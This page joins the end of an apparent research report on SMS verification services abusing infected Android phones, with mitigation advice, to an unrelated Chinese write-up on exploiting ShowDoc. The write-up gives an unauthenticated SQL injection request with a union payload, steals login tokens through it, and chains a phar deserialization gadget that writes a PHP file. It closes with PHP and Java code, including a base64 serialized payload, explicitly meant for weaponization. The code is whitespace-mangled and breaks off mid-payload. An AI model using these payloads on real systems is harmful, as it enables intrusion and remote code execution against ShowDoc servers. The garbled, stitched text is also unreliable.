在上面的屏幕截圖中，ReceiveCode 發布了使用其服務的主要國家/地區。從這些信息中，研究人員看到泰國、印度尼西亞、南非、美國、俄羅斯、哥倫比亞、孟加拉國、墨西哥、土耳其、安哥拉和印度通常佔據智能手機受smspva.net 影響的前10 位。

由於市場分佈，如果研究人員根據Trend Micro 的SPN 遙測數據來確定國家感染分佈，會存在一些差異，但研究人員可以驗證印度尼西亞、俄羅斯、泰國和印度確實是Android 手機受感染最多的國家之一。

2.png

受感染國家

根據這些監控數據，研究人員可以將受感染設備的用戶代理映射到最有可能的品牌和手機型號。下圖顯示了研究人員確定正在與smspva.net的信息收集後端通信的手機的分類：

3.png

受感染的智能手機品牌和型號

這表明，在製造這些廉價設備的過程中，可能存在供應鏈上的攻擊，因此它預先安裝了SMS 攔截dex 文件或稍後安裝它的下載器。

4.png

受影響的在線平台和服務

大多數受影響的服務是消息應用程序，如LINE、微信、Telegram 和WhatsApp。 TikTok、Twitter 和Facebook 等社交媒體平台也受到影響。

消息應用程序目前是smspva.net 用戶的最大目標，並且可能與這些平台上虛假帳戶的垃圾郵件和欺詐行為增加有關。

緩解措施到目前為止，SMS 驗證是唯一一種廣泛使用的安全機制，可以確保帳戶是由真人創建並為真人創建的，而不是僵網絡。以下是研究人員緩解由smspva.net 等服務帶來的威脅的一些建議：

對於在線平台和服務來說：

一次性短信驗證是不夠的。 SMS PVA服務濫用了這樣一個事實，即SMS驗證只在創建帳戶時進行一次。如果檢測到應用程序在線，一些應用程序會發送應用程序內驗證。這種類型的驗證可能會阻止使用SMS PVA服務獲取應用程序帳戶。

在啟動帶有貨幣價值的註冊或遊戲內獎勵計劃時要謹慎。 研究人員已經看到了團體註冊和遊戲內獎勵的快速盈利，因為他們能夠創建大量帳戶。在啟動這些程序時，應該採取更嚴格的措施，應該在短信驗證的基礎上實施額外的驗證，以防止濫用。

檢查手機的原產國與創建的帳戶配置文件，以幫助發現一些虛假帳戶。 如果手機號碼與創建的賬號的種族、語言、性別、頭像和/或登錄IP地址不匹配，或者用戶活動與特定地區用戶的典型行為不匹配，這是一個標誌，該帳戶可能是使用SMS PVA服務註冊的，應該需要額外的驗證。

請注意個人資料頭像或個人資料屬性的重用，因為這也是一個危險信號。 這尤其適用於專為浪漫、垃圾郵件和股票投資騙局而創建的賬戶。

對於智能手機用戶：

確保以你的品牌名稱銷售的設備的出處。有充分記錄的設備預先感染了惡意軟件的案例。

對ROM 映像和更新保持警惕。確保設備的默認ROM 映像中包含的所有應用程序、ROM 映像本身以及執行ROM 更新(FOTA/OTA) 的組件都是受信任的和/或來自受信任的來源。

對於消費者來說：

購買智能手機時要考慮安全性。在購買手機之前，研究一下你的手機製造商，看看它在安全性方面是否有良好的聲譽。

確保沒有惡意軟件運行在你的智能手機，讓這些SMS PVA服務濫用你的手機號碼。

定期分析設備內容。

只選擇受信任的應用程序，不要在設備上安裝不受信任的應用程序或來自不受信任來源的應用程序。

注意ROM映像，不要在你的手機設備上使用未經驗證的ROM映像。

HireHackking

漏洞版本sqli=3.2.5

phar 反序列化=3.2.4

漏洞分析前台sqli

補丁

https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda補丁對比發現，在server/Application/Api/Controller/ItemController.class.php中將$item_id變量從拼接的方式換成參數綁定的形式，那麼可以推斷，這個點可能存在sql注入。

QQ截图20240627161403.png

在server/Application/Api/Controller/ItemController.class.php的pwd方法中，從請求中拿到item_id參數，並拼接到where條件中執行，並無鑑權，由此可判斷為前台sql注入。

QQ截图20240627163011.png

但在進入sql注入點之前，會從請求中獲取captcha_id和captcha參數，該參數需要傳入驗證碼id及驗證碼進行驗證，所以，每次觸發注入之前，都需要提交一次驗證碼。

QQ截图20240627163208.png

驗證碼的邏輯是根據captcha_id從Captcha表中獲取未超時的驗證碼進行比對，驗證過後，會將驗證碼設置為過期狀態。

QQ截图20240627163238.png

完整拼接的sql語句

SELECT*FROMitemWHERE(item_id='1')LIMIT1 QQ截图20240627163300.png

$password 和$refer_url 參數都可控，可通過聯合查詢控制password的值滿足條件返回$refer_url參數值，1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --，6對應的是password字段，所以password參數傳遞6，條件成立，回顯傳入$refer_url參數，那麼就存在sql注入。

QQ截图20240627163543.png

POST/server/index.php?s=/Api/Item/pwdHTTP/1.1Host:172.20.10.1Content-Length:110Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://127.0.0.1Content-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0(WindowsNT10.0;W in64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/125.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer:http://127.0.0.1/server/index.php? s=/Api/Item/pwdAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9sec-ch-ua:'GoogleChrome';v='125','Chromium';v='125','Not.A/Brand';v='24'sec-ch-ua-mobile:0sec-ch-ua-platform:'Windows'sec-fetch-site:same-originsec-fetch-mode:n avigatesec-fetch-dest:documentcookie:PHPSESSID=1r419tk5dmut6vs4etuv656t1q;think_language=zh-CN;XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for:127.0.0.1x-originating-ip:127.0.0.1x-remote-ip:127.0.0.1x-remote-addr:127.0.0.1Connection:close

captcha=8856captcha_id=87item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--password=6refer_url=aGVsbG8=QQ截图20240627163354.png

sqli獲取token鑑權是通過調用server/Application/Api/Controller/BaseController.class.php的checkLogin方法來進行驗證。

QQ截图20240627163427.png

未登錄時，會從請求中拿到user_token參數，再通過user_token在UserToken表中查詢，驗證是否超時，將未超時記錄的uid字段拿到User表中查詢，最後將返回的$login_user設置到Session中。

那麼只需要通過注入獲取到UserToken表中未超時的token，那麼就可以通過該token訪問後台接口。

phar反序列化rce補丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30補丁將new_is_writeable方法的訪問權限從public設置為private。

QQ截图20240627163453.png

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。該處調用了is_dir，並且$file可控，熟悉phar反序列化的朋友都知道，is_dir函數可協議可控的情況下可觸發反序列化。

QQ截图20240627163525.png

有了觸發反序列化的點，還需要找到一條利用鏈，Thinkphp環境中用到GuzzleHttp，GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

QQ截图20240627163543.png

網上已經有很多分析，這裡直接給出生成phar的exp。

cookies=array(newSetCookie());}private$strictMode;}classFileCookieJarextendsCookieJar{private$filename='E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php';private$storeSessionCookies=true;}classSetCookie{private$data=array('Expires'=');}}namespa ce{$phar=newPhar('phar.phar');//後綴名必須為phar$phar-startBuffering();$phar-setStub('GIF89a'.');//設置stub$o=new\GuzzleHttp\Cookie\FileCookieJar();$phar-setMetadata($o);//將⾃定義的meta-data存⼊manifest$phar-addFromString('test.txt','test');//添加要壓縮的⽂件//簽名⾃動計算$phar-stopBuffering();

}生成exp時，寫入的路徑需要指定絕對路徑，在docker中部署的默認為/var/www/html，其他則可以通過訪問時指定一個不存在的模塊報錯拿到絕對路徑。

QQ截图20240627163631.png

後續利用，找到一個上傳且知道路徑的點，將生成的phar文件改成png進行上傳。

QQ截图20240627163650.png

訪問返回的鏈接，可獲取上傳文件的路徑。

QQ截图20240627163713.png

調用new_is_writeable方法，通過phar://訪問文件觸發反序列化。

QQ截图20240627163731.png

武器化利用思考在java環境下，對該漏洞進行武器化時，考慮到兩點情況，一個是在通過sqli獲取token時，需要對驗證碼進行識別，目前網上已經有師傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8另一個是在使用exp生成phar文件時，需要指定寫入文件的絕對路徑以及內容，在java下沒找到可以直接生成phar文件的方法，沒法動態生成phar文件，對phar文檔格式解析，實現一個可在java環境下指定反序列化數據來生成phar文件的方法。

phar文檔格式解析通過php生成一個phar文件，用010 Editor 打開，通過官網文檔對phar格式說明，解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.phpphar文檔分為四個部分：Stub、manifest、contents、signature

Stub就是一個php文件，用於標識該文件為phar文件，該文件內容必須以來結尾，感覺類似於文件頭。

QQ截图20240627163756.png

manifest這個部分不同區間指定了一些信息，其中就包含了反序列化的數據。

https://www.php.net/manual/zh/phar.fileformat.phar.php1-4（bytes） 存放的是整個manifest 的長度，01C7轉換為10進制為455,代表整個manifest 的長度455。

QQ截图20240627163825.png

5-8（bytes） Phar 中的文件數也就是contents 中的文件數，有一個文件。

QQ截图20240627163849.png

9-10 存放的是API version 版本。

QQ截图20240627163933.png

11-14 Global Phar bitmapped flags。

QQ截图20240627163909.png

15-18 如果有別名，那麼該區間存放的是別名長度，這裡不存在別名。

QQ截图20240627164013.png

19-22 元數據長度0191 轉十進制401 代表元數據長度為401。

QQ截图20240627164033.png

22-？元數據，元數據中存放的就是反序列化的數據。

QQ截图20240627164100.png

contents這個部分可有可無，是manifest 第二個區間指定的一個內容，官網沒有具體說明，漏洞利用時也不會用到。

signatureactual signature這個部分存放簽名內容。簽名的方式不同，簽名的長度也不一樣，SHA1 簽名為20 字節，MD5 簽名為16 字節，SHA256 簽名為32 字節，SHA512 簽名為64 字節。 OPENSSL 簽名的長度取決於私鑰的大小。

ignature flags （4 bytes）這個部分標識簽名的算法，0x0001 用於定義MD5 簽名，0x0002 用於定義SHA1 簽名，0x0003 用於定義SHA256 簽名，0x0004 用於定義SHA512 簽名。0x0010 用於定義OPENSSL 簽名。

GBMB （4 bytes）Magic GBMB簽名算法為02，使用的即是SHA1簽名。

QQ截图20240627164140.png

簽名的長度為20 字節。

QQ截图20240627164203.png

通過對整個phar文件格式進行解析，發現大部分字段都是固定不變的。需要變化的字段有：

1、manifest 的長度

2、manifest 中元數據

3、manifest 中的元數據長度

4、signature flag 簽名算法

5、signature 簽名數據

java生成phar文件最終構造得到：

packageorg.example;

importcom.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;importcom.sun.org.apache.xml.internal.security.utils.Base64;

importjava.io.ByteArrayOutputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.nio.ByteBuffer;importjava.nio.charset.StandardCharsets;importjava.security.MessageDigest;importjava.security.NoSuchAlgorithmException;

publicclassApp{publicstaticvoidmain(String[]args)throwsIOException,Base64DecodingException{finalFileOutputStreamfileOutputStream=newFileOutputStream('phar.phar');finalbyte[]decode=Base64.decode('TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBc Q29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZ XMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzo